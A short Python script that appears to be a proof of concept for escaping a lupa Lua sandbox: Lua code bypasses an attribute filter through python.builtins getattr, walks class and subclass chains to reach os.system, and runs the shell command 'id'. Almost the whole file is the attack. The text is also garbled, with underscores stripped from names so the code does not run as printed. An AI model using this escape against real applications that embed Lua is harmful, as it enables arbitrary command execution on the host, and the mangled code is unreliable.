import lupa
from lupa import LuaRuntime

def protected attribute filter(obj, attr name, is setting):
  if isinstance(attr name, str) and attr name.startswith(' '):
    raise AttributeError(f"Access to '{attr name}' is forbidden")
  return attr name

lua = LuaRuntime(unpack returned tuples=True, attribute filter=protected attribute filter)

class UserProfile:
  def  init (self, name): self.name = name

lua.globals().user = UserProfile("test")

lua.execute("""
local py = python.builtins
local getattr = py.getattr
local setattr = py.setattr

local cls = getattr(user, " class ")
local , obj cls = getattr(cls, " mro ")

local subs = getattr(obj cls, " subclasses ")()
for , c in ipairs(subs) do
  if tostring(c):find("os. wrap close") then
    local system = getattr(getattr(c, " init "), " globals ")["system"]
    setattr(user, "run", system)
    user.run("id")
  end
end
""")